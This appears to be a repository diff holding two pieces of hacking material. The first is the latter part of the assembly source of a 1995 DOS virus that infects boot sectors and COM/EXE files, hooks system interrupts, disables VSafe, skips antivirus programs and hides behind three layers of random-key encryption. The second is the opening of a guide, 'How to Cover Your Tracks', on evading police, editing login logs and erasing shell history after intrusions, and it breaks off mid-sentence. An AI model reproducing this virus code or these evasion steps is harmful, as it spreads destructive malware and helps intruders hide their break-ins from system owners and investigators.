Read_or_Write_BS_from_A + jnb oky ; Goto_Ret + jmp Goto_Ret +oky: + + + MOV DI,ofs Buffer + 60h -Reloc + +; check if BS is infected + + CMP Word Ptr [SI],05EEBh ; SI=@buffer + JNZ BS_not_infected + + CMP Word Ptr [DI],0FF33h ; == xor di,di + JZ Goto_Ret + +BS_not_infected: + +; test if it is Harddisk or floppy + + cmp dl,79h + ja Not_Floppy + + +; test if HD 1.44 (=F0) or HD 1.2 (=F9) floppy + + CMP Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_144 + JZ Found_ID_F0 + + CMP Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_120 + JNZ Goto_Ret + +Large_floppy: + MOV CL,Vir_Floppy_120_Sector + JMP Short Floppy_Disk +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; 1.44 floppy found + +Found_ID_F0: + MOV AX,40h + MOV DS,AX + +; 0:490h == AT Drive 0 status + + CMP Byte Ptr DS:[0090h],97h + JZ Large_Floppy + +; it is 1.44 Mb + + MOV CL,Vir_Floppy_144_Sector + +Floppy_Disk: + PUSH CS + POP DS + + MOV CH,Vir_Floppy_120_Track + JMP Short Head_01 +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Not_floppy: + MOV CX,Vir_Harddisk_Sector + JMP Short Head_00 +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Head_01: + MOV DH,Vir_Floppy_120_Head +Head_00: + MOV DS:[ofs Ptc_CX -Reloc],CX ; patch the PAR + MOV DS:[ofs Ptc_DX -Reloc],DX + + PUSH DX + PUSH CX + PUSH SI + PUSH DI + +; Move the JMP-Op to the beginning of BS/PAR + + MOV DI,ofs BS_first_word -Reloc ; SI=ofs buffer + MOVSW + POP SI + + CALL Call_Move_20 + + MOV SI,DI + POP DI + MOVSW + + add di,60h-2 + CALL Call_Move_20 + +; write BS + + MOV AX,0301h + PUSH AX + CALL Read_or_Write_BS_from_A + + POP AX + POP CX + POP DX + + MOV AL,Vir_Len_Sectors + MOV BX,ofs Buffer -Reloc + JB Goto_Ret + + + MOV Word Ptr DS:[ofs E1_Idx_Val -Reloc],7c00h +512+E1_Encrypted_Code -Reloc -Camouf + MOV Word Ptr DS:[ofs E2_Idx_Val -Reloc],7c00h +512+E2_Encrypted_Code -Reloc + MOV Word Ptr DS:[ofs E3_Idx_Val -Reloc],7c00h +512+E3_Encrypted_Code -Reloc + + + CALL Encrypt_Virus + + CALL Call_Old_Int_13 +Goto_Ret: + RET +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; read the PAR/BS from drive +;---------------------------------------------------------------------------- + +Read_or_Write_BS_from_A: + MOV AL,01h + MOV CX,0001h + MOV DH,0 + MOV BX,ofs Buffer -Reloc + MOV SI,BX + + PUSH DX + CALL Call_Old_Int_13 + POP DX + + RET +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Call_Move_20: + MOV CX,32 + CLD + REPZ MOVSb + RET +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Get_Set_Int: + + PUSH SI + MOVSW + MOVSW + POP SI + MOV [SI],AX + MOV [SI+2],ES + RET +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Get_Random: + +;; xor ax,ax +;; ret + + push cx dx + + in al,40h + mov cl,al + + xor ax,ax + int 1ah + + in al,40h + mov ah,al + + in al,40h + rol ax,cl + + pop dx cx + ret +;---------------------------------------------------------------------------- + + + +;============================================================================ +Encrypt_Virus: + + pusha + push ds es + +; get (random) key-values + +; L1 + call Get_Random + MOV word ptr cs:[ofs E1_Key_Val -Reloc],ax + +; L2 + call Get_Random + MOV word ptr cs:[ofs E2_Key_Val_1 -Reloc],ax + + call Get_Random + MOV word ptr cs:[ofs E2_Key_Val_2 -Reloc],ax + +; L3 + call Get_Random + MOV word ptr cs:[ofs E3_Key_Val_1 -Reloc],ax + + call Get_Random + MOV word ptr cs:[ofs E3_Key_Val_2 -Reloc],ax + + call Get_Random + MOV word ptr cs:[ofs E3_Key_Val_3 -Reloc],ax + + call Get_Random + MOV word ptr cs:[ofs E3_Key_Change_1 -Reloc],ax + + call Get_Random + MOV word ptr cs:[ofs E3_Key_Change_2 -Reloc],ax + + +; move bytes + + PUSH CS + POP ES + + MOV SI,1234h + org $-2 + dw 0 + + MOV DI,ofs Buffer -Reloc + MOV CX,(ofs Encrypted_Code_End - ofs Vir_Start) + REPZ MOVSB + + +; fill + + pusha + mov cx,2*80 +Fill_random: + in al,40h + cld + stosb + loop Fill_random + popa + + +;---------------------------------------------------------------------------- +; encrypt innerst layer E3 + + MOV w ax,cs:[ofs E3_Key_Val_1 -Reloc] + MOV w bx,cs:[ofs E3_Key_Val_2 -Reloc] + MOV w dx,cs:[ofs E3_Key_Val_3 -Reloc] + +;chg1+2 + MOV w di,cs:[ofs E3_Key_Change_1 -Reloc] + MOV w bp,cs:[ofs E3_Key_Change_2 -Reloc] + + MOV si,ofs Buffer -Reloc + ADD si,ofs E3_Encrypted_Code -Reloc + + MOV CX,(Enc_Word_Length/3) +1 + +C3_Enc_Loop: + XOR cs:[si],ax + INC si + INC si + + XOR cs:[si],bx + INC si + INC si + + XOR cs:[si],dx + INC si + INC si +;chg1 + add ax,di +;chg2 + add bx,bp + + LOOP C3_Enc_Loop +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +; encrypt inner layer E2 + + MOV w ax,cs:[ofs E2_Key_Val_1 -Reloc] + MOV w bx,cs:[ofs E2_Key_Val_2 -Reloc] + + MOV si,ofs Buffer -Reloc + ADD si,ofs E2_Encrypted_Code -Reloc + + MOV CX,(Enc_Word_Length/2) +1 + +C2_Enc_Loop: + XOR cs:[si],ax + INC si + INC si + + XOR cs:[si],bx + INC si + INC si + + LOOP C2_Enc_Loop +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +; encrypt outer layer E1 + + MOV word ptr bx,cs:[ofs E1_Key_Val -Reloc] + + MOV DI,ofs Buffer -Reloc + ADD DI,ofs E1_Encrypted_Code -Reloc + + MOV CX,Enc_Word_Length + +Enc_Loop: + XOR cs:[DI],BX + INC DI + INC DI + LOOP Enc_Loop +;---------------------------------------------------------------------------- + + +Mult_POP: + pop es ds + popa + + RET +;============================================================================ + + + +;---------------------------------------------------------------------------- +New_Int_1c: + CMP Byte Ptr CS:[ofs Got_Int_21 -Reloc],1 + JZ Jump_Int_1c + + pusha + push ds es + + MOV SI,4*21h + XOR AX,AX + MOV DS,AX + +; load int 20h seg and compare if below 800h + + MOV AX,DS:[4*20h +2] + + CMP AX,0000h + JZ Exit_Int_1c + + CMP AX,800h + JA Exit_Int_1c + +; cmp with int 21h seg + + CMP [SI+02h],AX + JNZ Exit_Int_1c + +; cmp with int 27h seg + + CMP DS:[4*27h +2],AX + JNZ Exit_Int_1c + +; cmp with int 2Fh seg + + CMP DS:[4*2Fh +2],AX + JNZ Exit_Int_1c + +; ok, now hook int 21h + + CLI + MOV DI,ofs Old_Int_21 -Reloc + PUSH CS + POP ES + MOV AX,ofs New_Int_21 -Reloc + CALL Get_Set_Int + +; set the flag for it + MOV Byte Ptr CS:[ofs Got_Int_21 -Reloc],01h + STI + +; get int 2f vector + + push 0 + pop ds + mov w ax,ds:[4*2fh] + mov w cs:[ofs Old_Int_2f -Reloc],ax + mov w ax,ds:[4*2fh+2] + mov w cs:[ofs Old_Int_2f -Reloc+2],ax + + + +Exit_Int_1c: + + pop es ds + popa + +Jump_Int_1c: + jmp dword ptr cs:(ofs Old_int_1c -Reloc) +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +New_Int_21: + + +IF Flag_Exec_Infection + CMP AX,4B00h + JZ Control_Operation +ENDIF + + + CMP AH,3Dh + JZ Control_Operation + +Exit_Int_21: + jmp dword ptr cs:(ofs Old_Int_21 -Reloc) +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Control_Operation: + + pusha + push ds es + +Not_Ext_Open: + xchg ax,cx + xor ax,ax + + call Deinstall_Vsafe + +; Hook int 24h + + PUSH DS + MOV DS,AX + LES AX,DS:[4*24h] + MOV Word Ptr DS:[4*24h], ofs New_Int_24 -Reloc + MOV DS:[4*24h +2],CS + POP DS + + PUSH ES + PUSH AX + +; open file + + MOV AX,3D00h + call Call_Old_Int21 + jb File_Error + + mov bx,ax + + PUSH CS + POP DS + +; get SFT + + PUSH BX + MOV AX,1220h + call Call_Old_Int2F ; INT 2Fh + + MOV AX,1216h + MOV BL,ES:[DI] + call Call_Old_Int2F ; INT 2Fh + POP BX + + JB Close_Exit + +; skip AV-programs ? + + call Check_If_AV_Name + jz goto_close_exit + + +; test if executable-file + + CMP Word Ptr ES:[DI+28h],"OC" + JZ Is_COM + + CMP Word Ptr ES:[DI+28h],"XE" + JZ Is_EXE + +goto_close_exit: + JMP Short Close_Exit +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Is_COM: +Is_EXE: + +; Check if infected + mov ax,es:[di.SFT_File_Time] + and al,00011111b + cmp al,Time_Stamp + jz Close_Exit + + PUSH ES + PUSH DI + +; Datum/Zeit sichern + mov ax,es:[di.SFT_File_Time] + mov cs:[ofs Old_Time -Reloc],ax + mov ax,es:[di.SFT_File_Date] + mov cs:[ofs Old_Date -Reloc],ax + +; Get file length directly from the SFT and save it + mov ax,es:[di+SFT_File_SizeLo] + mov cs:[ofs File_SizeLo -Reloc], ax + mov ax,es:[di.SFT_File_SizeHi] + mov cs:[ofs File_SizeHi -Reloc], ax + +; Force read/write mode + mov word ptr es:[di.SFT_Open_Mode],2 + + CALL Read_Infect + + POP DI + POP ES + +Close_Exit: + + MOV AH,3Eh + INT 21h + +File_Error: + XOR SI,SI + MOV DS,SI + +; restore INT 24h + + POP AX + POP ES + + MOV DS:[4*24h],AX + MOV DS:[4*24h +2],ES + + + pop es ds + popa + + JMP Exit_Int_21 +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +goto_Infect_Ret: + jmp Infect_Ret +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Process_EXE: + mov byte ptr cs:[ofs File_Type -Reloc],File_Type_EXE + +; save handle + mov word ptr cs:[ofs Handle -Reloc],bx + +; Dont infect to big/small EXE-files! + mov word ptr AX,cs:[ofs File_Buffer.BUF_4h -Reloc] ; EXE size in 512 byte pages + cmp AX,F_Min_LengthEXE ; Don't infect files less than xxxx pages + JB goto_Infect_Ret + cmp AX,F_Max_LengthEXE ; Or bigger than xxxx pages + JA goto_Infect_Ret + +; save handle + push bx + +; seek to EOF + + CALL Seek_EOF + + +; It's OK! Process it now ! + les ax,dword ptr cs:[File_Buffer.Buf_14h -Reloc] ;Entry_Point_Disp + mov cs:[ofs Old_IP -Reloc],ax + mov cs:[ofs Old_CS -Reloc],es + + les ax,dword ptr cs:[File_Buffer.Buf_eh -Reloc] ;Stack_Disp + mov cs:[ofs Old_SS -Reloc],ax + mov cs:[ofs Old_SP -Reloc],es + + mov ax,cs:[ofs File_Buffer.Buf_8h -Reloc] ; = Header size in paras + mov cl,4 + shl ax,cl ; Convert to byte-format + +; Get file size from SFT + push ax ; Save header size + mov ax,cs:[ofs File_SizeLo -Reloc] + mov dx,cs:[ofs File_SizeHi -Reloc] + +; add the padding-number + mov cx,cs:[ofs File_SizeLo -Reloc] + MOV CH,CL + MOV CL,16 + SUB CL,CH + AND CX,1+2+4+8 + add ax,cx + +; save the padding-number + mov cs:[ofs Padded -reloc],cx + + pop bx ; = Header size + + sub ax,bx ; DX:AX := file size - header size + sbb dx,0 + + mov cx,16 ; Convert to seg:ofs format + + div cx ; DX:AX := (DX:AX) / 10h + + or dx,dx ; IP + jz was_rounded + + xor dx,dx + mov cs:[ofs File_Buffer.Buf_14h -Reloc],dx ; New IP + mov cs:[ofs File_Buffer.Buf_16h -Reloc],ax ; New CS + + inc word ptr cs:[ofs File_Buffer.Buf_16h -Reloc] ; CS + jmp rounded + +was_rounded: + mov cs:[ofs File_Buffer.Buf_14h -Reloc],dx ; New IP + mov cs:[ofs File_Buffer.Buf_16h -Reloc],ax ; New CS + +rounded: + inc ax ; Avoid the "K" TB-flag (seems unecessary) + mov word ptr cs:[ofs File_Buffer.Buf_eh -Reloc],ax ; New SS + mov word ptr cs:[ofs File_Buffer.Buf_10h -Reloc],0 ; New SP + + mov ax,cs:[ofs File_SizeLo -Reloc] + mov dx,cs:[ofs File_SizeHi -Reloc] + +; add the padding-number + add ax,cs:[ofs Padded -reloc] + add dx,0 + + + add ax,Virus_Length ; Lo-word + adc dx,0 ; Hi-word + + push ax ; Lo-word + shr ax,9 ; + ror dx,9 + stc + adc dx,ax + pop ax + + and ah,1 ; Mod 512 + mov cs:[ofs File_Buffer.Buf_4h -Reloc],dx ; Size in pages (rounded up) + mov cs:[ofs File_Buffer.Buf_2h -Reloc],ax ; Size of last page (in bytes) + + push cs cs + pop ds es + + + mov word ptr bx,cs:[ofs Handle -Reloc] + mov ax,cs:[ofs File_SizeLo -Reloc] + + CALL Padding + +; Construct index for decryptor + + PUSH AX + + MOV word ptr DS:[ofs E1_Idx_Val -Reloc],(ofs E1_Encrypted_Code-ofs Vir_start)-Camouf + MOV word ptr DS:[ofs E2_Idx_Val -Reloc],(ofs E2_Encrypted_Code-ofs Vir_start) + MOV word ptr DS:[ofs E3_Idx_Val -Reloc],(ofs E3_Encrypted_Code-ofs Vir_start) + + POP AX + + pop bx + jmp Attach +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Read_Infect: + + CALL Seek_TOF + +; read xx bytes + + MOV AH,3Fh + MOV CX,Header_Length + MOV DX,ofs File_buffer -Reloc + INT 21h + jnb read_ok + jmp Infect_Ret + +read_ok: + cmp word ptr cs:[ofs File_buffer -Reloc],"ZM" + jnz Process_COM + jmp Process_EXE + +;---------------------------------------------------------------------------- +Process_COM: + + mov byte ptr cs:[ofs File_Type -Reloc],File_Type_COM + + +; seek to EOF + + CALL Seek_EOF + +; Save 3 bytes + + MOV ax,word ptr DS:[File_buffer -Reloc] + MOV DS:[ofs Rest1 -Reloc],ax + MOV al,byte ptr DS:[File_buffer -Reloc +2] + MOV DS:[ofs Rest2 -Reloc],al + + CALL Seek_EOF + +; file smaller than xxxx bytes ? + + CMP AX,F_Min_LengthCOM + JB Infect_Ret + +; file larger than xxxx bytes ? + + CMP AX,F_Max_LengthCOM + JA Infect_Ret + + + CALL Padding + + +; Construct index for decryptor + + PUSH AX + +; layer 1 + ADD AX,100h+ (ofs E1_Encrypted_Code-ofs Vir_Start)-Camouf + MOV DS:[ofs E1_Idx_Val -Reloc],AX + +; layer 2 + pop ax + push ax + + ADD AX,100h+ (ofs E2_Encrypted_Code-ofs Vir_Start) + MOV DS:[ofs E2_Idx_Val -Reloc],AX + +; layer 3 + pop ax + push ax + + ADD AX,100h+ (ofs E3_Encrypted_Code-ofs Vir_Start) + MOV DS:[ofs E3_Idx_Val -Reloc],AX + + + POP AX + +; construct and insert a JUMP-INSTR. + + MOV byte ptr DS:[File_buffer -Reloc],0E9h + SUB AX,3 + MOV word ptr DS:[File_buffer+1 -Reloc],AX +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Attach: + +; write body at EOF + + MOV AH,40h + MOV CX,Virus_Length + MOV DX,ofs Buffer -Reloc + CALL Encrypt_Virus + INT 21h + JB Infect_Ret + +; write JUMP to TOF + + MOV AL,0 + CALL Seek_TOF + + MOV AH,40h + MOV CX,Header_Length + MOV DX,ofs File_buffer -Reloc + INT 21h + +; restore time stamps + + mov AX,5701h + mov cx,cs:[ofs Old_Time -Reloc] + mov dx,cs:[ofs Old_Date -Reloc] + and cl,11100000b + or cl,Time_Stamp ; Mark with Time-ID + INT 21h + +Infect_Ret: + RET +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Padding: + MOV AH,AL + MOV AL,16 + SUB AL,AH + AND AX,1+2+4+8 + MOV DX,AX + +; seek forward + MOV AL,01h + call Seek_File + ret +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Deinstall_Vsafe: + pusha + push ds es + + MOV DX,5945h + MOV AX,0FA01h + INT 16h + + pop es ds + popa + ret +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Check_If_AV_Name proc near + cmp byte ptr es:[di.SFT_File_Name],"L" + jz Found_AV_Name + cmp byte ptr es:[di.SFT_File_Name],"-" + jz Found_AV_Name + cmp word ptr es:[di.SFT_File_Name],"BT" + jz Found_AV_Name + cmp word ptr es:[di.SFT_File_Name],"CS" + jz Found_AV_Name + cmp word ptr es:[di.SFT_File_Name],"-F" + jz Found_AV_Name + cmp word ptr es:[di.SFT_File_Name],"IV" + jz Found_AV_Name +Found_AV_Name: + ret +Check_If_AV_Name endp +;---------------------------------------------------------------------------- + + + + +;---------------------------------------------------------------------------- +Seek_EOF: + MOV AL,02h +Seek_TOF: + XOR DX,DX +Seek_File: + MOV AH,42h + XOR CX,CX + INT 21h + RET +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Call_Old_Int21 PROC NEAR + pushf + call dword ptr cs:(ofs Old_Int_21 -Reloc) + ret +Call_Old_Int21 ENDP +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Call_Old_Int2F PROC NEAR + pushf + call dword ptr cs:(ofs Old_Int_2F -Reloc) + ret +Call_Old_Int2F ENDP +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +New_Int_24: + MOV AL,03h + IRET +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Old_Int_13 dd 0 +Old_Int_1C dd 0 +Old_Int_21 dd 0 + +Old_Int_2f dd 0 + +Old_Time dw 0 +Old_Date dw 0 + +Handle dw 0 + +; If Int 21h allready captured then 1 else 0 +Got_Int_21 db 0 + +File_SizeHi dw 0 +File_SizeLo dw 0 + +Padded dw 0 +;---------------------------------------------------------------------------- + + + + +;---------------------------------------------------------------------------- +BS_first_word dw 0 +Old_BS_code db 32 dup ('B') +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; The first word of the PAR/BS is stored here + +JBS_first_word: + jmp $ + 60h +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Start_JBoot: + XOR DI,DI + MOV SI,7C00h + + CLI + MOV SP,SI + MOV SS,DI + STI + +; read xx sectors to 7e00h + + MOV ES,DI + MOV AX,0204h ; !!!!!! Sectors !!!!!! + MOV BX,7c00h+512 + + MOV CX,1234h + ORG $-2 +Ptc_CX dw 0004h + + MOV DX,1234h + ORG $-2 +Ptc_DX dw 0080h + + nop + nop + + INT 13h + +; Jump to the reload code from 2 sectors +; The offset in the BS/PAR where this instuction is executed is at +; BS/PAR:60h+($-Start_Jboot) + + jmp $ + 512 - ($-Start_Jboot+60h) ;+512 -125 +;---------------------------------------------------------------------------- + + + + +;---------------------------------------------------------------------------- + db " [[ Cú0úDúEúWúAúR ]] <32> Germany 1995 " + db "Virtually called to life & survival by" + + db "RGOEPMSQO & NJOENBOJBD" + + db " ==>= AllE GUtEN DiNGE SiND DREi ==>= " + + db 0 +;---------------------------------------------------------------------------- + + +Encrypted_Code_End equ $ + + +;---------------------------------------------------------------------------- +File_buffer: + db Header_Length dup ('H') +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; here is the virus copied and encrypted +Buffer equ $ +;---------------------------------------------------------------------------- + + + + + + + + +CODE ENDS + END Sample + + +; CODEWAR.ASM + \ No newline at end of file diff --git a/Papers/cover-1.txt b/Papers/cover-1.txt new file mode 100644 index 0000000..0e1b6bd --- /dev/null +++ b/Papers/cover-1.txt @@ -0,0 +1,897 @@ + ------------------------------------------------------------------------------ + + + + ################################################ + # # + # HOW TO COVER YOUR TRACKS # + # # + ################################################ + + + + PART ONE : THEORY & BACKGROUND + + + + I. INTRODUCTION + II. MENTAL + III. BASICS + IV. ADVANCED + V. UNDER SUSPECT + VI. CAUGHT + VII. PROGRAMS + VIII. LAST WORDS + + + + + I. INTRODUCTION + ---------------------------------------------------------------------- + + Please excuse my poor english - I'm german so it's not my mother + language I'm writing in. Anyway if your english is far better than + mine, then don't think this text hasn't got anything to offer you. + In contrast. Ignore the spelling errors & syntax - the contents + of this document is important ... + + NOTE : This text is splitted into TWO parts. + The first one, this, teachs about the background and theory. + The second just shows the basics by an easy step-by-step + procedure what to type and what to avoid. + If you are too lazy to read this whole stuff here (sucker!) + then read that one. It's main targets are novice unix hackers. + + If you think, getting the newest exploits fast is the most important + thing you must think about and keep your eyes on - you are wrong. + How does the best exploit helps you once the police has seized your + computer, all your accounts closed and everything monitored? + Not to mention the warrants etc. + No, the most important thing is not to get caught. + It is the FIRST thing every hacker should learn, because on many + occasions, especially if you make your first hacks at a site which + is security conscious because of many break-ins, your first hack can + be your last one (even if all that lays back a year ago "they" may + come up with that!), or you are too lazy to change your habits + later in your career. + So read through these sections carefully! + Even a very skilled hacker can learn a bit or byte here. + + So this is what you find here: + Section I - you are reading me, the introduction + Section II - the mental things and how to become paranoid + 1. Motivation + 2. Why you must become paranoid + 3. How to become paranoid + 4. Stay paranoid + Section III - the basics you should know BEFORE begin hacking + 1. Preface + 2. Secure Yourself + 3. Your own account + 4. The LOGs + 5. Don't leave a trace + 6. Things you should avoid + Section IV - the advanced techniques you should take a notice of + 1. Preface + 2. Prevent Tracing of any kind + 3. Find and manipulate any log files + 4. Check the syslog configuration and logfile + 5. Check for installed security programs + 6. Check the admins + 7. How to "correct" checksum checking software + 8. User Security Tricks + 9. Miscellaneous + Section V - what to do once you are under suspect + Section VI - the does and dont's when you got caught + Section VII - a short listing of the best programs for hiding + Section VIII- last words, the common bullshit writers wanna say + + So read carefully and enlighten yourself. + + + + + + + II. MENTAL + ---------------------------------------------------------------------- + + CONTENTS: 1. Motivation + 2. Why you must become paranoid + 3. How to become paranoid + 4. Stay paranoid + + + * 1. MOTIVATION * + The mental aspect is the key to be successful in anything. + + It's the power to motivate yourself, fight on if it hurts, + being selfdisciplined, paranoid & realistic, calculate risks + correctly and do stuff you don't like but are important even + if you'd like to go swimming now. + + If you can't motivate yourself to program important tools, + wait for the crucial time to hit the target, then you'll never + get anywhere with your "hacks" + + A successful and good hacker must meet these mental requirements. + It's like doing bodybuilding or a diet - you can learn it + if you really try. + + EVEN THE BEST KNOWLEDGE WON'T HELP YOU UNTIL YOU ARE REALLY + CONCERNED TO DO THE PREVENTIONS AND ACTUAL MAKE THEM ! + + + * 2. WHY YOU MUST BECOME PARANOID * + It's right that normally being paranoid is not something which + makes your life happier. + However if you aren't expecting the worst, anything can hit you and + throw you off balance. And you are risking very much with your doings. + In your normal life you don't need to worry much about cops, thieves + and therelike. But if you are on the other side remember that you make + other people a hard life and bring them nightmares plus work - and + they want to stop you. + Even if you don't feel like committing a crime - you actually do. + Hacker-Witchhunting pops up fast and gets everyone who might be involved. + It's the sad thing : YOU ARE GUILTY UNTIL PROVEN OTHERWISE ! + Once you've got the stigma being a hacker you'll never get it off. + Once having an entry in your police record it's very hard to find a job. + Especially no software company, even no computer related company will + ever hire you, they will be afraid of your skills, and you will see + yourself being forced to emmigrate or your life lost. + Once you fall down only a few can get up again. + + Become paranoid! + Protect yourself! + Remember you have got everything to loose! + Never feel silly doing THAT extraordinary action against tracing! + Never bother if someone laughs on your paranoid doing! + Never be too lazy or tired to modify the logs! + A hacker must do his work 100% ! + + + * 3. HOW TO BECOME PARANOID * + If you've read the part above and you think thats true, it's easy - + you've got already become paranoid. But it must become a substantial + part of your life. If you made it becoming a good hacker always think + about whom to tell what, and that you phone calls and emails might be + monitored. Always the reread the section above. + + If the above didn't helped you, then think about what happens if + you are caught. Would your girlfriend stay at your side? Even if + her father speaks a hard word? Do you want to see your parents cry? + Thrown from your school/university/job? + + Don't give this a chance to happen! + + If even this is not enough to motivate you: + KEEP AWAY FROM HACKING! + You are a danger to the whole hacking society and your friends ! + + + * 4. STAY PARANOID * + I hope you learned now why it is important to become paranoid. + So stay paranoid. One mistake or lazy moment could suffice to ruin + your life or career. + + Always remember the motivation to do it. + + + + + + + III. BASICS + ---------------------------------------------------------------------- + + CONTENTS : 1. Preface + 2. Secure Yourself + 3. Your own account + 4. The LOGs + 5. Don't leave a trace + 6. Things you should avoid + + + * 1. PREFACE * + You should know this and practice it before you start your first hack. + These are the absolute basics, without them you are in trouble soon. + Even an experienced hacker can find a new hint/info in here. + + + * 2. SECURE YOURSELF * + What if a SysAdmin reads your email? + What if your phone calls are recorded by the police? + What if the police seizes your computer with all your hacking data on it? + + If you don't receive suspicious email, don't talk about hacking/phreaking + on the phone and haven't got sensitive/private files on your harddisk + then you don't need to worry. But then again you aren't a hacker. + Every hacker or phreaker must keep in touch with others and have got + his data saved somewhere. + + Crypt every data which is sensitive! + Online-Harddisk-Crypter are very important and useful: + There are good harddisk crypters free available an the internet, which + behave fully transparent to your operating systems, i.e. the packages + listed below are tested and were found to be a hacker's first-choice: + - If you use MsDos get SFS v1.17 or SecureDrive 1.4b + - If you use Amiga get EnigmaII v1.5 + - If you use Unix get CFS v1.33 + File Crypters: You can use any, but it should use one of the well known + and secure algorythms. NEVER use a crypting program which can be + exported because their effective keylengths are reduced! + - Triple DES + - IDEA + - Blowfish (32 rounds) + Encrypt your emails! + - PGP v2.6.x is used most so use it too. + Encrypt your phonecalls if you want to discuss important things. + - Nautilus v1.5a is so far the best + Encrypt your terminal sessions when connected to a unix system. + Someone might be sniffing, or monitoring your phone line. + - SSH is the so far most secure + - DES-Login is fine too + + Use strong passwords, non-guessable passwords which are not mentioned + in any dictionary. They should seem random but good to remember for + yourself. If the keylength is allowed to be longer than 10 chars, + use that, and choose a sentence from a book, slightly modified. + Please crypt phonenumbers of hacker friends twice. And call them from + payphones/officephones/etc. only, if you don't encrypt the conversation. + + The beginner only needs PGP, a filecrypter and an online-hardisk-crypter. + If you are really deep into hacking remember to encrypt everything. + + Make a backup of your data (Zip-Drive, other harddisk, CD, Tape), + crypted of course, and store it somewhere which doesn't belong to any + computer related guy or family member and doesn't belong to your house. + So if a defect, fire or fed raid occures you got a backup of your data. + + Keep written notices only as long as you really need them. Not longer. + Keeping them in an encrypted file or on an encrypted partition is much + more secure. Burn the papers once you don't need them anymore. + You can also write them down with a crypt algorythm which only you + know of, but don't tell others and don't use it too often or it can be + easily analyzed and broken. + + Really hardcore or ultra paranoid hackers should consider too the + TEMPEST Project. Cops, spies and hackers could monitor all your + doings. A well equipted man could have *anything* he wants : + Electronic pulse emanation can be catched from more than 100 meters + away and show your monitor screen to somebody else, a laserpoint to + your window to hear private conversations, or identifying hifrequency + signals of keyboard clicks ... so possiblities are endless + Lowcost prevention can be done by electronic pulse jammers and + therelike which become available on the public market, but I don't + think this is secure enough to keep anyone dedicated away. + + + + * 3. YOUR OWN ACCOUNT * + So let's talk about your own account. This is your real account you + got at your school/university/job/provider and is associated with + your name. Never forget to fail these rules: + + Never do any illegal or suspicious things with your real accounts! + Never even try to telnet to a hacked host! + Security mailing lists are okay to read with this account. + But *everything* which *seems* to have to do with hacking must be + either encrypted or be deleted as once. + Never leave/save hacking/security tools on your account's harddisk. + If you can, use POP3 to connect to the mailserver and get+delete your + email (or do it in an other way if you are experienced enough using unix) + Never give out your real email if your realname is in your .plan file + and/or geco field (remember the EXPN command from sendmail ...) + Give it only to guys who you can trust and are also security conscious, + because if they are caught you may follow (or if it's a fed, not a hacker) + Exchange emails with other hackers only if they are encrypted (PGP) + SysAdmins OFTEN snoop user directories and read other's email! + Or another hacker might hack your site and try to get your stuff! + + Never use your account in a way which shows interest in hacking. + Interest in security is okay but nothing more. + + + * 4. THE LOGS * + There are 3 important log files: + WTMP - every log on/off, with login/logout time plus tty and host + UTMP - who is online at the moment + LASTLOG - where did the logins come from + there exist others, but those will be discussed in the advanced section. + Every login via telnet, ftp, rlogin and on some systems rsh are written + to these logs. It is VERY important that you delete yourself from those + logfiles if you are hacking because otherwise they + a) can see when did you do the hacking exactly + b) from which site you came + c) how long you were online and can calculate the impact + + NEVER DELETE THE LOGS! It's the easiest way to show the admin that + a hacker was on the machine. Get a good program to modify the logs. + ZAP (or ZAP2) is often mentioned as the best - but in fact it isn't. + All it does is overwriting the last login-data of the user with zeros. + CERT already released simple programs which check for those zero'ed + entries. So thats an easy way to reveil the hacker to the admin too. + He'll know someone hacked root access and then all you work was worthless. + Another important thing about zap is that it don't report if it can't + find the log files - so check the paths first before compiling! + Get either a program which CHANGES the data (like CLOAK2) or a really + good one which DELETES the entries (like CLEAR). + + + Normally you must be root to modify the logs (except for old distributions + which have got utmp and wtmp world-writable). But what if you didn't + made it hacking root - what can you do? Not very much : + Do a rlogin to the computer you are on, to add a new unsuspicous LASTLOG + data which will be displayed to the owner when he logs on next time. + So he won't get suspicious if he sees "localhost". + Many unix distributions got a bug with the login command. When you + execute it again after you logged already on, it overwrites the + login-from field in the UTMP (which shows the host you are coming + from!) with your current tty. + + Where are these log files by default located? + That depends on the unix distribution. + UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log + WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log + LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log + on some old unix dists the lastlog data is written into $HOME/.lastlog + + + * 5. DON'T LEAVE A TRACE * + I encountered many hackers who deleted themselves from the logs. + But they forgot to erase other things they left on the machines : + Files in /tmp and $HOME + + Shell History + It should be another as you current login account uses. + Some shells leave a history file (depends on enviroment configuration) + with all the commands typed. Thats very bad for a hacker. + The best choice is to start a new shell as your first command after + logging in, and checking every time for a history file in you $HOME. + History files : + sh : .sh_history + csh : .history + ksh : .sh_history + bash: .bash_history + zsh : .history + Backup Files : + dead.letter, *.bak, *~ + + In other 